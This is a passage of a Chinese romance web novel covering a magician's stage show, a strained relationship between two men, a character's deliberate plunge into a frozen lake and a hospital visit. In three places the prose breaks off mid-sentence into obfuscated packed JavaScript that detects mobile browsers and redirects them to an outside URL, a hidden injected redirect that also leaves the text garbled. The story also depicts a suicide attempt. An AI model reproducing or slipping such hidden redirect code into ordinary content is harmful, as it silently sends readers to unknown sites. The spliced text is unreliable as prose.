“你是很勇敢的女孩。”徐然从袖子里抽出表演用的魔术方巾给她,示意她擦擦眼泪,“愿意协助我一起表演一个魔术吗?” 许滢点点头,她握紧了那手帕,没舍得用来擦眼泪。 徐然看着她滑滚过脸颊的硕大泪珠,无奈一笑,翻手变出一枝花香馥郁的暖白色桅子花,温柔递到她面前,用娇妍的花朵盛下了那几滴晶莹的眼泪:“在此之前,这朵鲜花赠给我美丽勇敢的女孩。” 许滢的视线一瞬间被水汽彻底糊住,徐然温声引导说:“仰起头,眼泪就不会阻挡视线了。” 许滢握着花抬起头,屏幕中的镜头也随她的动作向上探去——那群白鸽正有序地旋飞在那束汇聚于许滢和徐然身上的光束上空,以莫比乌斯环的阵列簇拥环绕着她和徐然。 像动漫里圣洁且梦幻至极的画面。 有几根纯白的羽毛缓慢飘落了下来,徐然说:“帮我接住它们好吗?” 许滢果断地接住了面前的羽毛,徐然轻托住她的手将她手掌推握成拳,接着说:“许个愿吧。” 许滢怔了怔,依言闭眼许了个愿望,那一瞬她感觉到徐然低头朝她的手轻轻吹了口气,她因体虚而微凉的手一时有些不可控地发热。 “准备好了吗?要放飞你的愿望了。”徐然笑容煦煦。 许滢郑重而缓慢地摊开那只手,场内许多人都屏息着盯着屏幕中许滢的掌心,只见原先那几根羽毛变成了几只粘着羽毛的粉色千纸鹤。 观众席有人轻轻“哇”了一声,但随后更神奇的事发生了。 那几只千纸鹤仿若拥有生命般振翼飞了起来,小小的,却无法忽视的,令人震憾的在众人聚焦的视线中从许多人头上真实飞过,甚至飞出了汇演厅,往未知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郁寒不确定宗寰是真不知道还是没话硬搭话,他对上宗寰澄亮地望向他渴求解惑的眼睛,顿了顿,还是开了口:“当我们的视线里出现了焦点,就也一定出现了盲点。刚刚站在E席区的大概率不是徐然,飓风魔术团不是只有他一个人,他还有同伴。” 宗寰眼中的好奇被了然和惊讶替代,他笑着说:“原来如此,那他的魔术也太成功了,我完全看不出来不是同一个人。” 郁寒又沉默了好半晌,他今天穿了件黑色外套,除了衣角微褶外,先前打架染上的血污并不明显,但还是有股淡淡的慑人煞气,那游刃有余又极具威势的压迫感透着一种不同于往日的野性和危脸。 被冷待的宗寰眉头狠狠蹙了一下,很是不爽。 于是他温热的手心从后向前轻覆上郁寒搭在座椅扶手处的手,用指尖缓慢拨挑郁寒的每根指节,如游蛇缠绕般,带着刻意的挑逗。 郁寒放任宗寰将手搭在他手上的小动作,酥痒的触感从轻微摩挲挑逗的指腹传来。 他被药物隔绝压制的情绪像被人用羽毛挠了下,郁寒声音微沉:“宗寰,你有时候真的会让我有种不谙世事单纯好骗的错觉。” “?”宗寰听出了三分调侃。 他细细打量着郁寒的神色,手掌不动声色地与郁寒交握,宗寰目光垂落在他们紧密接触的手上,心跳加速地调笑说:“你在内涵我蠢?拜托,人总有知识盲区啊,就算博学如郁教授你,专业以外的领域也不敢说百事通吧?” “不是,我说的……是一种感觉。”温暖真实的温度从掌心传递,郁寒却只略微沉吟,些许认真地说,“一种妖孽浪货和单纯小白花并存的感觉,很有欺骗性。” “什么话这叫什么话!”宗寰低声怒道,但他的声音被再度哗然的场面盖了过去。 场内昏暗模糊的光线中,有几道黑影从舞台正前方沿着观众席间的两处中间走道疾速奔跑,随后,柔软如烟雾薄纱的高透明“天幕”从前方升起,一点点从前向后蔓延笼罩住整个观众区域。 有细小的水珠落了下来,斑斑点点地滴聚在“天幕”上。 水波一样的蔚蓝光段从千万级灯光设备中投射满整个汇演厅,徐然此刻已经重新回到了舞台上,他换回了那身墨绿色的高定西装,在尖叫声中站在这片“汪洋”拥抱再度为他沸腾起来的人潮。 32. 霓虹万丈 舞台上浮现袅袅的白色烟雾,舞台的置景神秘又飘渺。 徐然抬手在肩侧位置轻轻打了个响指,腕间系着的金铃轻轻响动,全场在一瞬间归于寂静,所有人的注意力都凝在徐然身上。 “放轻松,给你们看个小游戏。”徐然笑着对屏息的众人说。而后在所有人没有眨眼的注视下,凭空取出一张扑克牌。 扑克牌在指尖翻转,而后出现一张两张三张……徐然将三张牌理好放在手心,再一点点推开,他手迅速一晃,残影掠过后,徐然双手以扇形摊展开一整副扑克牌来。 他反转双手向观众明牌示意,随即指节灵巧一动纸牌合拢,完整的一副扑克牌又在他手中变成了薄薄的一张单牌。 将扑克牌放在胸前约一尺半的距离,徐然右手从反面对着它轻轻一点,那张扑克牌就像被固定住了般悬滞在半空处。 徐然退后半步,像随手拈过一团烟雾,指尖微微摩挲后朝那张卡牌从容一拋,便有蓝色的火焰在那张滞空的纸牌上燃烧起来。 光屏中的镜头从左向右远景及近给了个特写,那簇火焰越烧越旺,像永不止息般,映亮徐然被烟雾模糊的矜傲笑容。 “想看烟花吗?”徐然这样问着,他音落时,面前的那簇火焰骤然高涨冲天,犹如点燃的仙女星星棒般迸溅着灼炽的蓝白色星子。 活水如波般的光段涌动着流淌过徐然身周,温和的水与炽烈的焰光辉交迭,梦幻而绚烂,更衬得舞台之中的徐然犹如造梦的神明。 徐然对着天空打了一个响指。 “我说,雨降。”随着徐然缓慢而掷地有声的一道指令示言语,佑大的舞台上空也如观众席区的“天幕”般落下淅淅沥沥的雨珠来。 燃绽将尽的烟花最后一簇光覆灭于雨中,灰黑色的硝烟在白色仙雾中舞出张牙舞爪的墨影,黑与白交织,像用水墨做了一幅鬼祟扑缠的巨大画作。 “我说,风起。”风吹得舞台上雨点倾斜,烟雾中墨色隐没,犹如鬼祟尽退的福兆。 徐然而额间浸染水珠的碎发被风吹起,他露出的那双眼中没有那扎得人血肉模糊的寒薄断刃,只有呼风号雨的极致张扬和恣意。 在魔术场上,他无所不能。 “哇靠靠靠靠——”宗寰惊呼的声音混没于同样惊叹声四起的人潮,他眼中有被点燃的兴奋,“也太装了吧这!” 郁寒突然出声问:“荀越今天不在这儿吗?” “没注意到他,不应该啊。”宗寰顿了顿,他们坐的位置是整个汇演厅观演视觉效果最好的地方,这里不会对外开放售票,只预留给特殊的贵客,如果荀越在现场,应该也会在他们附近的位置。 郁寒平静说:“他该来看看的。” ……看看这样的徐然。他身上那股傲气还在,明明被碾碎过脊骨,却在这一刻还有着那样意气风发的傲然生命力,像一团疯狂燃烧着的蓝色火焰。 舞台上,徐然抬起的手合拢紧握,笑着道:“我说,水止。” 雨停了。 ——舞台上空和“天幕”上的水珠像被施了定格魔法般悬滞在半空中,不再下坠,不再流动,只在闪烁的灯光中呈射出晶莹的光点。 众人哗然惊叹间,徐然翻转手心,双指间再次出现一张扑克牌,他眉眼微敛,犹如对着世界发号施令的大巫:“我说,天开。” 那张扑克牌从他手中飞掷出去,旋出破风的如刃残影,从观众席中间最大的过道上空划破开那道水色“天幕”。 “天幕”积蓄的雨珠沿着豁开的口子倾落而下,形成一道水帘,流汇于琉璃走道的台阶中。 “我说,火绽。”徐然音落时,那道水帘自下而上被一刹那点燃,窜起的焰火如龙腾翻滚,霎时绽出一片贯穿了整个汇演厅的蓝色焰火瀑布。 熊熊火光映亮了每个人的眼瞳。 有人惊呼:“明火还是全息影像?好逼真啊。” 徐然适时出声提醒:“是真的火焰,大家小心些,别去触碰,注意安全。” “姑娘们,看这里。”徐然突然抬手在胸前拍了拍手掌,牵引过所有人的注意力,而后停顿一瞬,神秘感和好奇心在寂静中放大到极致。 下一秒,舞台上空凝止悬滞的雨珠在徐然一瞬绽来的张扬笑容中,化作无数花瓣飘落。 徐然站在花雨中,温声问:“喜欢吗?” 一刹那,仿佛世界都为他而狂热,此起彼伏的清亮尖叫惊呼声像世界级乐团的重奏曲,他立在舞台之上,光辉加身,霓虹万丈。 宗寰半晌都没有眨眼睛,缓了许久后说:“连我都快爱上他了,不怪荀越着魔,他确实有让人神魂颠倒的魅力。” “艺术成分很高,很有天赋和灵气的后生。”郁寒评价道,“如果不是手伤的问题,他应该可以完成更炫技更高难度的大型魔术。” “你知道徐然的手伤?”宗寰微微诧异,徐然手被荀越废掉的那个圣诞party他在现场,但那时已经是他和郁寒闹掰后的第四个月了。 “齐蹊不知道出于什么心理跟郁杉提过。”郁寒冷淡说,“A市的圈子太小了,总是不可避免地会接触到一些你们这些上流人士干的坏事。” “说到坏事,郁教授,我还是想对你做一些坏坏的事。”宗寰此时还牵握着郁寒的手,他凑到郁寒耳侧,用下流的语气和他咬耳朵,“你今天这个状态,好像很不好说话,但对我又很是纵容。” 郁寒只不动如山道:“懒得扇你。” 宗寰抬眼看他:“你知不知你这样子像什么?” 郁寒很轻地挑了挑眉,回给他一个“继续说”的眼神。 “像唐僧。”宗寰在郁寒耳下迅速一亲,还舔湿了一缕头发,而后偷完腥就撤,舔过唇说,“烦人又馋人。” 郁寒冷漠抽开了被宗寰一直扣握着的手。 宗寰追着去抓郁寒的手,根本不肯松开,他转开话:“先前不是用特能唬人的语气说什么没时间吗?医院也不去,怎么突然又要坐在这里看这场近两个小时的魔术秀演?” “看不出来吗?”郁寒声音还是很冷淡,但眼睫垂敛扫向宗寰的目光有些勾人,“在和你约会啊。” 约……约会…… 宗寰瞳孔微缩,片刻后喉结生涩地滚动,狼狈错开视线,他心如擂鼓,闷声问道:“你是不是……又要利用我什么了。” “已经利用过了,先前在画展的事情——这是报酬。”郁寒将宗寰的所有反应收入眼底,“不是说要补偿要清算吗?我在尝试半天的以身相许。” “你可就玩儿我吧,看着我这副样子你别爽死了。”宗寰磨了磨牙,但凡郁寒语气不那么随便,他可能就真信上两分了。 “恋爱脑演起来爽吗?”郁寒饶有兴致地思索。 宗寰突然抬眼正正地盯上郁寒:“如果我说我从来不是玩弄心态,我是真心喜欢你,你会相信吗?” ……玩票性质的喜欢可以被利用被标价被交换,但真心不该被轻怠作践。 “荀越对徐然的那种真心?”郁寒冷笑调侃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238681|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ——为他着迷为他失智为他疯魔也为他私欲疯长,看似爱意暴烈真心赤忱,甚至愿意奉上一切来索求爱意回应,但实则所有表现都只是出于极端自私自爱下伪装延伸出的扭曲占有欲。 他们这群人,都没有真心这种东西。 宗寰半天没吭声,不好玩,一点都好玩,话虽然都是郁寒会说的话,但今天郁寒那语调跟吃错药了一样让人无端难堪。他想辩驳,但他其实也不知道自己想要听到什么样的答案。 郁寒突然掐住宗寰的下颌,毫无征兆地凑近,侵略的气息如野蛇扑缠,冰冷又蛊惑:“……宗少,我当然知道你喜欢我,一直都知道。” 情动只是一瞬息的事,宗寰瞳孔缩凝。四周喧哗鼎沸的人声是最刺激的催化剂,在郁寒的刻意撩拨下宗寰很难有任何抵抗力,他来不及深想郁寒话里的意思,便已经像迫切咬钩的鱼般吻了上去。 吐息纠缠许久后,宗寰抬手去捂郁寒的眼睛,恶狠狠说:“不要用这种眼神看我,看萎掉了都。” 郁寒冷漠的眼中似笑非笑:“需要我帮忙逗逗它吗?” “在这里?玩儿太大了吧郁教授。”宗寰不是完全接不住招的人,他用戏谑的调调将郁寒的攻势拨了回去,回味郁寒之前那句话,“你说的一直知道是从什么时候开始?” “从第一次见面开始,只要有我在的场合,你的目光就几乎不会从我身上挪开。”郁寒轻轻嗤笑一声,“宗少,深情薄情都可以伪装,但你的眼睛不爱作戏。” 被剖开一切的宗寰苦笑:“我还以为你心里只满满当当装着你的主人格郁杉,丝毫察觉不到旁人的心意。” “察觉得到,只是不在意。”郁寒直言道,像是藉着情感压制剥离的状态,能将所有冰冷残忍的话说尽,“喜欢从来都是很廉价的情绪,我们其实并不相欠,你也一直心知肚明我对你的利用,报酬你也一直有在索取。” “是因为你突然认为你有真心,所以会觉得我辜负了你,也觉得自己的部分行径有愧于我。” “认清现实好吗?你不会有真心,我也不会在爱里回应你。”郁寒一刀扎完接着一刀。 “为什么要把话说开得这么彻底,怎么?你不打算再利用我了吗?”宗寰这回真要碎了都,他苦涩的笑容凝住,笑都笑不出来,“骗骗都不肯?” “用骗吗?”郁寒问着,平静看着宗寰凝泪的眼睛。 宗寰眼中有泪坠了下来,他简直狼狈至极:“不用。” 郁寒一阵长久的沉默,他冻人的目光近乎刺痛得宗寰想慌措逃离这里。 但郁寒在想,原来郁杉平日里看他是这副心情,寡情的人不会为别人或热烈或酸涩的情绪动容,可真的一点看不明白吗?明白的,只是并不共情,也全不在意。 郁杉这样的人,不具备真正爱人的能力。 郁寒像是思考了很久,突然改口说:“……如果我只是我,如果我从来没遇见郁杉,我大概会喜欢上你,宗寰,你很合我的胃口。” “不是说了不用骗吗?!”宗寰眼泪掉得毫无声息,连驳问的声音都克制住了所有哽咽。 “这句倒不是骗你,不过不可能存在的假设也确实不必当真。”郁寒平静道,“我们大可以还像从前一样,各取所需就好。” “好。”宗寰许久后,才如食茵陈般开口应道。 台上的魔术还在继续,但宗寰已经没有了先前观赏的兴致,他竭力遏制自己飘向郁寒的目光,若无其事又失魂落魄地在座位上枯坐了一个多小时。 33. 远山拂晓 离开汇演厅时已近暮时,博物馆透亮的玻璃映射出烧红的天空,艳色浸染了天幕,如火一般绚烂。 令人痴醉的温柔霞光中,宗寰听到郁寒最后向他提了一个请求:“……宗寰,我想去一趟艾喀什纳山脉的天镜湖和乌兹曼威坦的地狱三角门,能帮我安排好私人飞机吗?” “出去转转也好,避避风头。”宗寰认真看着逆着光被霞色包裹的郁寒,他目光有些恍惚,心脏微拧着,大脑近乎空白,只僵木地听自己的声音说,“今天的事,舆论我会解决。” “谢谢。”郁寒用尽量温和的声音说。 但宗寰还是被这句和平常截然不同的道谢锥击心脏,那种感觉,就像此刻切实站在他面前的人离他越来越遥远。 远到他好像再也追不上,也握不住了。 “你如果……”宗寰将话咽了又咽,许久后只扯出一抹笑,平静说,“旅途注意安全,玩得愉快。” 宗寰最后的笑容印在郁寒眼中,一直到郁寒坐上飞机都在回想。 郁寒侧头望着舷窗外,万千灯火璀璨的繁华A市在眼前逐渐缩小成寸,他指节在靠椅的冰凉扶手处轻叩着。 虽然一开始找上宗寰就是存了利用的心思,宗寰也一直如他所愿地做了步步正中他下怀的工具人。 但宗寰今天这一趟的表现还是太温顺可疑了些,像宗寰,也不像宗寰。 他明牌的那番话说得狠绝不留希望,郁寒其实做好了宗寰彻底翻脸甚至狠狠报复他的最坏准备。 结合宗寰最后那句似有深意的话,郁寒不得不怀疑这场私人飞机的目的地,究竟是艾喀什纳山脉山腰的温泉小镇,还一座荒无人烟的孤僻岛屿。 但他还是上了飞机,还是走进这个可能成为困笼的圈套。 “你在赌,郁寒。”郁杉突然出声揭穿他。 郁寒叩指的动作微顿,他看着玻璃舷窗中倒映的他的面容,轻笑着,自言自语地呢喃:“我?我在赌什么呢?” 郁杉没再应话,但他们心知肚明。 ——赌他郁寒对宗寰品性的绝对了解,赌他对宗寰情绪的精准把握……赌宗寰的那颗,“真心”。 “我虽然持有疑心,但我同样也胜券在握。”郁寒说,“就像你深度相信齐蹊那种烂人一样,我也相信我对宗寰的判断,或者说,我相信自己。” 郁杉默了许久才蹦出三个字:“自恋狂。” “呵,好奇怪啊郁杉,我把齐蹊打了个半死,你居然还能破天荒地和我好好说话。”郁寒嘴角一扯,带了些微讽刺,“怎么了,是心里觉着我要彻底消失了所以心情大好是吗?” “你根本也没多在乎齐蹊的情况吧。” “我只是感觉,你好像需要安抚。”郁杉很平静地说。 他其实很担忧齐蹊,以致对郁寒有种不再只出于自身过往的恨厌,但某种更强烈的直觉告诉他,不要在此刻激怒郁寒。 “呵。”郁寒再度冷笑,眼中有戏谑的冷光。 郁杉现在还是不太能感知到郁寒的情绪,如果不是郁寒眼下正控制着他们的身体,他甚至不能感知到郁寒的存在,那堵药物效果下的隔护墙还是立在他们之间。 这代表他的人格意识不会再在精神世界被郁寒伤害,但他今天是突然间被夺走了身体掌控权的,毫无征兆,无法解决,无法争夺,无法干预,他就像一个被塞在这副躯壳里旁观一切的无关魂灵。 这并不是一种多好的感觉。 所幸他能察觉支撑郁寒人格意识体的精神力越来越勉强,越来越薄弱,弱到他渐渐能隔着那堵墙和郁寒说话。 他们多日后重遇的第一次对话,没能吵得起来。 气氛诡异。更诡异的是,一直到私人飞机在温泉小镇的游客“空中巴士”驿站点平稳落地,这一夜都平安无事。 情理之外意料之中的结果。 郁寒抬起头,眼前拂晓的天际被晨昏线分割开,月与日同挂天空,神秘的黑夜与白昼共存。 他一时心绪难言:“……赌赢了。”也不知道该不该嘲笑,宗寰居然真是个情种。 原来他们这群人模狗样的斯文败类,也真的会有算得上干净的真心。 知道不该在现在提起齐蹊,但郁杉还是仍不住发问:“你总说齐蹊和宗寰没什么两样,那你为什么不愿意信齐蹊对我有同样真诚的心意。” 郁寒像是觉得郁杉这句话好笑:“谁会认同情敌的真心啊。” 郁杉顿了一瞬。 驿站的vic超级管家很快迎了上来,郁寒接过驿站管家备好的羽绒大衣披上,跟着他进了小镇最大的私人温泉庄园。 艾喀什纳山脉海拔偏高,自山腰处往上的地带常年覆雪,此时虽还未正式入冬,但还是空气中都透着侵骨的冷意。 郁寒坐靠着巨大温泉的一处假山状灰黑石岩,氤氲的热气模糊一切,他抓了一把水攥在手心,但手从水中拿起时,所有的水都从指隙溜走。 郁寒看着空无一物的掌心,水下的另一只手动作得更用力了些,他在水声中气息不稳地问:“郁杉,你真的有那么恨我吗?” 温泉的暖意渐渐蔓延进骨骼,在一声很低的喘息后,郁寒身体彻底舒展开。他仰头抵靠着嶙峋凹凸的石岩,天空的夜色已经彻底褪下去了,但还能看到几颗寥寥的晨星。 郁寒被暖意醺得浮红的眼尾隐隐有水汽,瞳中映着星子的光微微闪烁:“我承认我有做过混账的事,但我是你自己啊,在你这里……我没有特权吗?” 身体释放,灵魂却沉重得喘不过气。 郁杉知道,郁寒问得不是简单一句他有多恨他,而是……真的没有一点点的爱吗? 他曾无数次伤害过他,但也无数次保护过他,真的没有一点点原谅和解的可能吗? 他们相伴彼此那么久,真的没有一点点的难以割舍吗? 像是过了一个世纪那么久,从余韵中回神的郁杉斩钉截铁地回答他:“恨。” “虽然是明知道的答案,但你说出这个字时,心口很疼。”郁寒问,“你能感受得到吗?这副身体的情绪反馈。” “那是我的情绪,也是你的情绪。” “郁寒,你不应该对齐蹊下那么重的手。”郁杉说。 “是因为齐蹊,所以恨我到觉得再不可饶恕?”郁寒眼睫颤动,他一寸寸暧昧地抚摸过自己手腕的骨节、青筋,然后去牵自己的手。 他神色平静,像思绪很远:“郁杉,你好偏心,那他怎样对我,都是我活该是吗?” 不该说激怒郁寒的话的,但郁杉莫名情绪尖锐地回了句:“郁寒,齐蹊没有做错什么,是你本来就不该存在。” 郁杉以为郁寒会发疯,但郁寒只是扯了扯唇,声音沙哑地说:“你厌恨我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肩上的两只小雪雀向着湖区飞走了,越是靠近天镜湖,人群越是熙攘热闹。 金灿的曦光撒在凝冰的深蓝湖面,风吹涌,鎏金般的光影跃动,一簇簇锥状冰晶在漾开的水浪中晃动,冰击声如铃清脆。 望不到边际的湖面像天神从高空掷下的碎镜,映呈下的天空被无限切割。 郁寒走进人潮。 身边是三三两两同伴结群拍着风景vlog的游客,是以朝阳晨雾冰镜湖作幕景的相吻情侣,是追逐自由追逐风影的独行旅者。 他们的情绪是暖色的,在空气中洋溢着,铺满大地。 “有人跳湖——!!” 混乱的惊叫声扰破这美好至极的氛围。 被冰寒刺骨的湖水包裹的郁寒望着那些尖锐璀璨的冰晶,千千万万块晶体中映射着千千万万个他逐渐下沉的身体。 身上每一寸都剧痛无比,像无数钢针从毛孔扎进血肉,针锥凿骨,带来剧烈灼痛感的冰水从鼻腔咽喉侵入肺腑,窒息之余也焚心灼肺。 在上刑一般的痛苦中,郁寒扯出一抹笑:“郁杉,记得我那天在石泽毅车上跟你说过的话么?” ——我不会再甘愿独自消失,我会在我最爱你的时候,在你最恨我的时候,让我们同葬,然后永恒地铭记彼此。 34. 绝渊与新生 天镜湖另一个名字叫“大地之眼”,无数冰镜的伪装之下是断崖式湖床,仅距湖岸两米便有87米深的水位,且暗流无数,极为危险。 众人惊叫中,离湖畔不远的游玩小艇上,一名蓝眼棕发的英俊男人看到有人落水的第一时间便跟着跳了下去。 水下,是绝渊。 光线抵达不到的地方,湖水由深蓝转为墨蓝,在郁寒被黑暗的水漩裹挟前,有人抓住了他的手腕。 郁寒被捞上来时身体冻得僵硬滚烫,眉间都覆着冰晶,在救他的男人按压完他的胸腹要凑上来做人工呼吸时,郁寒推开男人侧过身大口大口呕水。 “为什么要在这里轻生?”棕发男子眸光深邃,被湖水侵湿的发一滴滴坠着冰水,他说着当地人的语言,神情严肃,“天镜湖是喀纳措人的朝圣湖,你不能玷污它。” “因为我不想一个人死去。”郁寒听得懂也会说一部分不算奥涩的喀纳措语,他就着仰躺的婆势望向高阔天空,回答的声音哑得不像话,却并不沉重,“……我想活。” 棕发男子蹙着眉,并不能理解郁寒的话:“想活为什么要跳湖?” “因为有人想要我死,也因为想要新生。”郁寒扯起一抹笑,晨曦的光拂下,他带着锋利锐气的笑容格外漂亮。 “……如果没人救你呢?”小艇很快靠了岸,掌舵的另一个卷发男生问着。 “那就死去。”郁寒说着,笑着,眼中有疯狂的悲伤。 岸边全是围观的人,艇上的两人先后朝郁寒伸出手:“我叫Kavan。”“我叫Rhine。” Kavan多瞧了郁寒一眼,他突然用中文说:“我想你应该不想当着这么多人的面被公主抱。” 郁寒短暂诧异了一秒,而后笑着握住一左一右两人的人,借力站起来。 但他眼前一阵天旋地转,湿寒的骨头都不争气地在打颤,在郁寒跌倒前,Rhine一把搀住了他。 有些狼狈,郁寒缓了好片刻才站稳,离郁寒耳侧很近的Rhine低声吹了段口哨,挑着眉对他说:“那么,漂亮美人儿,恭喜新生。” Rhine被Kavan一记眼刀吓得乖乖噤声,他缩了缩脖子做了个很无辜的表情。 Kavan转头便扒了Rhine的厚外套,他正准备给郁寒披上,但郁寒抬手推开了,还不经意地拂开了Rhine搀他的那只手。 是个很有距离的人,Kavan看着郁寒独自走下小艇的背影想着。 但郁寒面上的笑容慵散随和,他回过头对着两人说:“谢谢,救命之恩,我会涌泉相报的。” Kavan自己披上了那件外套裹紧,独留衣着单薄的Rhine冷得连打两个喷嚏,他平静说:“在极寒地域落水不是儿戏,我们现在应该去医护站。” 但郁寒站在原地未动:“我在等一个人。” 一个轻生之人满身狼狈又平静至极地站在冰岸,说着他有等待的人,Kavan眼中情绪更加困惑。 ——熙攘的人潮后方,有一道风一样的身影破开人墙朝他们极力奔跑过来。 郁寒看到了Kavan抬远视线后神情的细微变化,他没有回头,心中几个倒数后,郁寒被人扑撞,而后紧紧搂进温暖的臂弯中。 他听到熟悉的声音带着压抑发颤的哭腔一遍遍执着喊着他的名字,语气恐惧得让人心疼,“郁寒……郁寒……” 骨头都快撞散架的郁寒将支撑身体的力量依托在了身后人的身上,他懒洋洋地说着:“宗寰,你来得好晚。” “你知道我偷偷跟着你……?你又算计我!你拿命算计我吗!?看我狼狈失魂很好玩?”宗寰咬着牙,单手脱下衣服把冰凉湿透的郁寒紧紧裹住,他心脏抽搐疼痛到喘不过气,开口的语气里满是崩溃和心悸,“我分明知道你情绪不对劲,我根本就不该放任你一个人。” 驿站的管家是宗寰的人,景区观光车司机是宗寰安排的人,湖边几个有意无意拍郁寒的视频博主是宗寰的眼线,就连公路上“巧遇”的几只飞鸟身上都装了微型监控器,而不敢上前不敢靠近的宗寰一直一路远远地跟着郁寒。 郁寒早就有所察觉,他轻声开口,一句话便安抚下宗寰的愤怒:“我以为救我的人会是你。” 于是宗寰只剩懊悔和后怕,他牙齿打颤:“别这样试我,我输不起,你要是死了……要是死了……” 没等宗寰预想好郁寒死了自己会怎样痛苦,郁寒便软软地昏倒在了宗寰怀里,宗寰那一瞬间也像被夺走了力气,天塌了般崩溃地滑跪在冰岸,绝望大喊着:“医生——!医生——!” 抵达的救护直升机下来人想将郁寒架走,但几乎没人能按住惊厥失控的宗寰将郁寒从宗寰怀中分开:“宗少,冷静一点。” Kavan重重拍了拍宗寰的肩膀:“他还没死,应该只是身体极寒失温导致的昏厥休克,但再不救治可能就真死了。” 被救护人员打算一起架上直升机的宗寰这才松开手,Kavan很自然地带着Rhine跟着上了直升机,他看向仍旧失神如空壳的宗寰说:“我们救了他,也落水受了寒伤,应该不介意我们蹭一趟vic贵宾的救护直升机?” 宗寰缓过半口气,他眼眶还是发红:“谢谢你出手相救……我见过你,喀纳措族的月祭司卡瓦。” “你要什么,我可以付我一切拿得出的报酬。另外,我想再请求你帮我占一卦。” …… 齐蹊是在icu抢救了七个小时才脱离危险期的,之后又昏迷了十多个小时才勉强恢复意识,他身上多处骨折及软组织挫伤,广泛内出血,胃功能衰竭,肺肾功能衰竭,重度脑震荡。 纯粹是死门关前走了一趟。 得知消息的齐父齐母终于算是舍得回来看那个被他们彻底放养了的儿子一趟,匆匆改了去巴沙里菲岛的航班连夜飞回国内。 但他们进齐蹊病房探视的第一幕,就撞见意识堪堪转醒的齐蹊拉着护士询问关于郁杉的消息。 齐青峦听到这个名字就头大,顾不得外人在场当即沉了脸色,忍不住奚落:“郁杉郁杉郁杉,成天口里都是郁家那小子,我们齐家可没生双生子,不知道的还以为你俩连体婴呢。” “郁杉他那疯病二十多年了都没好,早就叫你不要再跟他来往,看看你现在,差点被他打死不说,你居然还是这副上赶着倒贴的不值钱样儿。” “我真的,真的都不想认你这个儿子!” 那名正准备给探病家属留单独空间的护士,审视打量了两位高知分子打扮的中午夫妇一眼,在出门前冷冷叮嘱道:“麻烦家属注意一下情绪,病人需要好好休息。” 齐母林妤拉了齐青峦一把:“你少说两句。” 全身包得跟木乃伊似的齐蹊目光挪了过来,虚虚弱弱地喊了两声:“爸,妈……我没什么大事。” 他声音谦和而礼貌,唯独没有亲近:“十分抱歉打乱了你们中秋的度假计划,其实可以不必特意赶回国的。” 林妤在齐蹊病床旁蹲下身,轻轻拉住齐蹊裹着绷带的手:“别说这种置气的话,你爸就那脾气。” 齐蹊看了一下手,又抬眼看林妤,他手不着痕迹地往内侧缩了缩,但被林妤追着拉握住。 林妤被齐蹊疏远的微妙态度弄得寒心,她想起旧事,但又不得不好声好气地说:“妈妈知道你和郁杉感情深,你心疼郁杉在乎郁杉,但从小到大你一直被他欺负,你不能总是让他伤害你啊,你不能……因为喜欢郁杉连自己的命都搭上对不对?” “你自己就是做心理医学的,你应该知道这种感情并不健康并不正常对不对?” “郁杉没有欺负过我,造成伤害也不是出于他自愿的。”齐蹊动了动唇,坚定地反驳辩解道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238683|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿杉的病我就快治好了,这次的意外保证一定一定是最后一次。” “而且我没有一厢情愿,阿郁他也是喜欢我在乎我的,他也在尝试学会爱我,我一定能教好他。” 齐蹊的拗劲儿是随了父母的,林妤知道自己劝不动他,同样的话她和齐青峦反反复复说了十多年,但好像怎样说怎样做都不能让齐蹊同郁杉离心。 林妤叹了口气,叫齐青峦拿出一块黑翡材质的圆形无事牌,她将玉牌放在齐蹊手心:“爸妈不在别的事上多管束你,但只有一件事——一定要平安,要健康地活着,这是我们唯一的也是最低的要求。” “爱人之前,你要先照顾好自己。” 齐蹊迎上林妤眼中的担扰,心还是颤了一下,就算父母对他再如何放养,他们间也有着不可割舍不可忽视的亲密血缘。齐蹊一直明白,自己是被林妤和齐青峦爱着的。 因为承受这份爱意,于是愧疚也更浓稠。 “放心,我会顾好自己的。”齐蹊目光闪动,攒了些力气握住那快玉牌,温和又认真地说,“也会顾好阿杉,阿杉他,真的是很好的人。” 眼看齐青峦的脸快黑得跟煤炭似的,病房门口突然探出一个两个三个四个一群萝卜头,齐蹊余光瞥到他们,哑然失笑。 林妤顺着齐蹊的目光望过去,顿了一下:“这几位是?” “进来吧。”齐蹊开口说,又转而向林妤和齐青峦解释道,“是我的助理和几个比较相熟的学生。” “齐教授”“齐老师”“齐老板”“齐院长”……一群进门的年轻小孩乱七八槽地开口喊着齐蹊,人手一捧鲜花一个果篮,十多个人近乎将病房站满了都。 林妤见状,跟齐蹊又叮嘱了两句便拉着齐青峦出了病房,去跟医生了解齐蹊的具体伤势。 长辈一走,于瑶瑶直接扑到齐蹊床边,哭丧似地嚎:“齐教授你怎么变绷带人了……” 